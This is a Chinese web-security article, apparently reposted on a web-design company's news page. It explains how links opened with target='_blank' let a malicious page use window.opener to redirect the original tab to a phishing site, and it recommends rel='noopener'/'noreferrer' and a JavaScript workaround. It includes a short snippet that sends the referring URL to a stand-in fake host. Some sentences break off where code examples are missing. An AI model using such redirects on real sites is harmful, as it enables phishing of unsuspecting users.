新聞中心
在網(wǎng)頁中使用鏈接時(shí),如果想要讓瀏覽器自動(dòng)在新的標(biāo)簽頁打開指定的地址,通常的做法就是在 a 標(biāo)簽上添加 target等于"_blank" 屬性。

創(chuàng)新互聯(lián)主營(yíng)環(huán)江網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營(yíng)網(wǎng)站建設(shè)方案,成都app軟件開發(fā),環(huán)江h(huán)5重慶小程序開發(fā)搭建,環(huán)江網(wǎng)站營(yíng)銷推廣歡迎環(huán)江等地區(qū)企業(yè)咨詢
然而,就是這個(gè)屬性,為釣魚攻擊者帶來了可乘之機(jī)。
起源
parent 與 opener
在說 opener 之前,可以先聊聊
我們知道,在
opener 與 parent 一樣,只不過是用于 在新標(biāo)簽頁打開的頁面的。通過 打開的頁面,可以直接使用 window.opener 來訪問來源頁面的 window 對(duì)象。
同域與跨域
瀏覽器提供了完整的跨域保護(hù),在域名相同時(shí),parent 對(duì)象和 opener 對(duì)象實(shí)際上就直接是上一級(jí)的 window 對(duì)象;而當(dāng)域名不同時(shí),parent 和 opener 則是經(jīng)過包裝的一個(gè) global 對(duì)象。這個(gè) global 對(duì)象僅提供非常有限的屬性訪問,并且在這僅有的幾個(gè)屬性中,大部分也都是不允許訪問的(訪問會(huì)直接拋出 DOMException)。
在
利用
如果,你的網(wǎng)站上有一個(gè)鏈接,使用了 target="_blank",那么一旦用戶點(diǎn)擊這個(gè)鏈接并進(jìn)入一個(gè)新的標(biāo)簽,新標(biāo)簽中的頁面如果存在惡意代碼,就可以將你的網(wǎng)站直接導(dǎo)航到一個(gè)虛假網(wǎng)站。此時(shí),如果用戶回到你的標(biāo)簽頁,看到的就是被替換過的頁面了。
詳細(xì)步驟
1.在你的網(wǎng)站 https://cdxwcx.com 上存在一個(gè)鏈接:
2.用戶點(diǎn)擊了這個(gè)鏈接,在新的標(biāo)簽頁打開了這個(gè)網(wǎng)站。這個(gè)網(wǎng)站可以通過 HTTP Header 中的 Referer 屬性來判斷用戶的來源。
并且,這個(gè)網(wǎng)站上包含著類似于這樣的 JavaScript 代碼:
- const url = encodeURIComponent('{{header.referer}}');
- window.opener.location.replace('https://a.fake.site/?' + url);
3.此時(shí),用戶在繼續(xù)瀏覽這個(gè)新的標(biāo)簽頁,而原來的網(wǎng)站所在的標(biāo)簽頁此時(shí)已經(jīng)被導(dǎo)航到了 https://a.fake.site/?https%3A%2F%2Fcdxwcx.com%2F。
4.惡意網(wǎng)站 https://a.fake.site 根據(jù) Query String 來偽造一個(gè)足以欺騙用戶的頁面,并展示出來(期間還可以做一次跳轉(zhuǎn),使得瀏覽器的地址欄更具有迷惑性)。
5.用戶關(guān)閉 https://an.evil.site 的標(biāo)簽頁,回到原來的網(wǎng)站………………已經(jīng)回不去了。
上面的攻擊步驟是在跨域的情況下的,在跨域情況下,opener 對(duì)象和 parent 一樣,是受到限制的,僅提供非常有限的屬性訪問,并且在這僅有的幾個(gè)屬性中,大部分也都是不允許訪問的(訪問會(huì)直接拋出 DOMException)。
但是與 parent 不同的是,在跨域的情況下,opener 仍然可以調(diào)用 location.replace 方法而 parent 則不可以。
如果是在同域的情況下(比如一個(gè)網(wǎng)站上的某一個(gè)頁面被植入了惡意代碼),則情況要比上面嚴(yán)重得多。
防御
1. Referrer Policy 和 noreferrer
上面的攻擊步驟中,用到了 HTTP Header 中的 Referer 屬性,實(shí)際上可以在 HTTP 的響應(yīng)頭中增加 Referrer Policy 頭來保證來源隱私安全。
Referrer Policy 需要修改后端代碼來實(shí)現(xiàn),而在前端,也可以使用 標(biāo)簽的 rel 屬性來指定 rel="noreferrer" 來保證來源隱私安全。
但是要注意的是:即使限制了 referer 的傳遞,仍然不能阻止原標(biāo)簽被惡意跳轉(zhuǎn)。
2. noopener
為了安全,現(xiàn)代瀏覽器都支持在 標(biāo)簽的 rel 屬性中指定 rel="noopener",這樣,在打開的新標(biāo)簽頁中,將無法再使用 opener 對(duì)象了,它為設(shè)置為了 null。
3. JavaScript
noopener 屬性看似是解決了所有問題,但是...瀏覽器的兼容性問題...
可以看到,現(xiàn)在絕大多數(shù)瀏覽器都已經(jīng)兼容了 rel="noopener" 屬性了。但是,為了保護(hù)稍舊的“近代”瀏覽器或是很舊的“古代”瀏覽器甚至是“遠(yuǎn)古”瀏覽器,只有 noopener 屬性還是遠(yuǎn)遠(yuǎn)不夠的。
這時(shí),就只能請(qǐng)出下面這段原生 JavaScript 來幫忙了。
- "use strict";
- function openUrl(url) {
- var newTab = window.open();
- newTab.opener = null;
- newTab.location = url;
- }
推薦
首先,在網(wǎng)站中的鏈接上,如果使用了 target="_blank",就要帶上 rel="noopener",并且建議帶上 rel="noreferrer"。類似于這樣:
當(dāng)然,在跳轉(zhuǎn)到第三方網(wǎng)站的時(shí)候,為了 SEO 權(quán)重,還建議帶上 rel="nofollow",所以最終類似于這樣:
性能
最后,再來說說性能問題。
而如果在鏈接中加入了 noopener,則此時(shí)兩個(gè)標(biāo)簽頁將會(huì)互不干擾,使得原頁面的性能不會(huì)受到新頁面的影響。
新聞標(biāo)題:你不曾察覺的隱患:危險(xiǎn)的target="_blank"與“opener”
文章位置:http://www.dlmjj.cn/article/djjgjhe.html


咨詢
建站咨詢
